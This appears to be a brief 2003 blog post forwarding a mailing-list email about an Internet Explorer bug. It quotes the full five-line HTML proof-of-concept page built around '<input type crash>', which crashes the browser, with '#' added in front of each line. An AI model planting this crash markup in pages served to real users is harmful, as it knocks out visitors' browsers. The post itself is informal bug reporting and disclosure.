[plug] <input type crash>

Sun May 4 13:02:22 WST 2003

New feature for IE. No, it wasn't your Linux proxy which killed the nice 
customer's browser, it was just obeying the <input type crash> 
directive. (-:

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Subject: [CS-FSLUG] Maybe no one else will post this first
Date: Sun, 4 May 2003 08:45
From: Ed Hurst <DESPAMMED>

I had to laugh. Tested it on a Windows machine, just to make sure.

Internet Explorer's dumbest bug ever revealed
One line of HTML and it's dead
By Staff at the Newsdesk: Friday 02 May 2003, 18:08

http://www.theinquirer.net/?article=9288

The exploit was revealed elsewhere as an entire page:

#<html>
#<form>
#<input type crash>
#</form>
#</html>

With # added at the front of each line, of course.

Ed
</quote>

Cheers; Leon